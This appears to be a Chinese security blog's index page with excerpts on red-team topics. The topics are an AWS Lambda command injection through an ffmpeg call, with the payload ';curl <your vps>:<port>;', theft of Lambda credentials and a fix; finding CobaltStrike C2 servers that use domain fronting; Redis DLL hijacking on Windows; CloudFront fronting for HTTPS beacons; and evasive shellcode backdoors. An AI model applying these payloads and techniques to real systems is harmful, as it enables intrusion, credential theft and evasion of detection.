漏洞
测试的时候发现AWS的Lambda里面有这样的代码,可以很明显的看出来存在命令注入:
execute_command = "ffmpeg -i " + video_url + " -y -f " + img_format + " -ss " + time_index + " -vframes 1 " + WH + " " + output_path
print(execute_command)
cp = subprocess.run(execute_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
攻击的Payload: ;curl <your vps>:<port>;
,然后在自己服务器监听可以收到Lambda容器发起的请求。
修复代码:
cp = subprocess.run(["ffmpeg", "-i", video_url, "-y", "-f", img_format, "-ss", time_index, "-vframes", "1", output_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
储备知识
- Lambda函数代码路径:
/var/task
- 用户凭证: 存储在环境变量里面,
AWS_ACCESS_KEY_ID
, AWS_SECRET_ACCESS_KEY
, AWS_SESSION_TOKEN
- 文件系统:
/var/task
只读,/tmp
可写
- 默认用户:
sbx_userxxx
- Lambda计算的最大超时时间是15分钟,凭证过期时间是11个小时左右
- 攻击Lambda只需要获取AK、SK、Token,反弹shell没什么意义
在存在命令执行的情况下先获取用户凭证,然后使用awscli
写入本地配置文件里面,通过awscli
来操作,如果在创建Lambda
的权限控制不足,这个时候就可以使用awscli
来操作各种资源,比如我发现的命令执行有对主账户下所有网卡的操作权限,可以使用获取到的用户凭证删除所有网卡接口。
存在另外一种情况,当获取到的凭证权限很小的时候,到处都是is not authorized to perform
,可以通过以下查询来查看自己的凭证都什么权限,首先配置命令行工具:
Read More
背景
在github上面出现一个仓库分析CobaltStrike
监听端口的特征:https://github.com/Te-k/cobaltstrike。CS在监听Stager端口的时候,会通过URI下载Payload执行,这个URI生成的规则生成:
找到DomainFront
根据360的空间测绘,看完之后第一时间想到的是通过fofa这类空间测绘找出特征,然后找出来设置了DomainFront的C2,想看看这些C2
的原始域名和设置C2的域名是什么情况,大家都用的什么作为域名前置的 :)
Quake测绘
根据360给出的搜索条件,先找出来一批IP地址:
response:"HTTP/1.1 404 Not Found" AND response:"Content-Type: text/plain" AND response:"Content-Length: 0" AND NOT response:"Server: " AND NOT response:"Connection: " AND port: "443" AND NOT country: "China"
修改脚本
修改好之后的脚本和扫描结果:https://github.com/JKme/cobaltstrike。把单线程改为多线程,再增加一个获取IP的https证书域名函数:
Read More
本文测试了Redis在Windows平台下的dll劫持,主要参考文章是先知的秋水师傅: Redis on Windows 出网利用探索
测试环境
Redis-x64-3.2.100
Win10
可劫持的DLL
按照文章中使用Process Monitor
,在使用redis-cli
操作的时候,观察缺失的DLL。在Process Monitor Filter
里面设置Image Path
的值为redis-server.exe
的路径,比如我的是C:\Program Files\Redis\redis-server.exe
,Path
设置为ends with dll
。设置好之后,使用redis-cli
连接,执行bgsave
命令,然后观察缺失的dll,有如下:
HKLM\System\CurrentControlSet\Control\Srp\GP\DLL
C:\Program Files\Redis\dbghelp.dll
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
当redis-server.exe
启动的时候,有如下:
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
C:\Program Files\Redis\CRYPTBASE.DLL
执行BGREWRITEAOF
的时候,有如下:
HKLM\System\CurrentControlSet\Control\Srp\GP\DLL
C:\Program Files\Redis\dbghelp.dll
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
Read More
记录一下当使用Domain Fronting
中使用https
来上线时候的坑,因为查了半圈没有找到类似的资料,为啥非要https呢,因为node32
对http的流量很敏感。
###目标
- 使用
Windows/beacon_https/reverse_https
作为上线的payload
- AWS的
Cloudfront
作为前置域名
准备工作
域名: example.com
VPS(Centos)
cloudflare(只作域名解析,不添加任何其他功能,不加CDN,不加HTTPS)
部署工作
安装的apache是测试连通性,除此之外没有任何用处。
yum install httpd
systemctl start httpd
增加apache配置文件
#/etc/httpd/conf.d/vhost.conf
<VirtualHost *:80>
DocumentRoot /var/www/html
ServerName example.com
RewriteEngine on
RewriteCond %{SERVER_NAME} =example.com
RewriteRule ^ https://%{SERVER_NAME}%{REQUEST_URI} [END,NE,R=permanent]
</VirtualHost>
Read More
后门的构成
分为三个部分:
- shellcode的分离免杀
- C2服务器的隐藏
- Windows后门的设置
分离免杀
shellcode的分离免杀有很多种,这里把每个模块拿出来就是如下的几个:
- 通信:
socket
,http
shellcode
的执行方式
shellcode
的流量
- 远程服务器的隐藏
除去第二种方式有很多种可以执行shellcode的,其他三种最好的解决方案是实用Domain Fronting
隐藏服务器,AES动态加密解密运行shellcode。这样子既隐藏了服务器,又避免shellcode的明文流量被探测到。当然上线之后的操作被探测不在被讨论的范围之内。
在参考资料里面,uknownsec
已经把主要的代码放出来了。只需要拿出来拼凑一下就可以食用。
其中服务端出去python的功能之外,可以给自己加上一个slack
机器人的通知,这样子上线的时候就有通知。
C2服务器的隐藏
Read More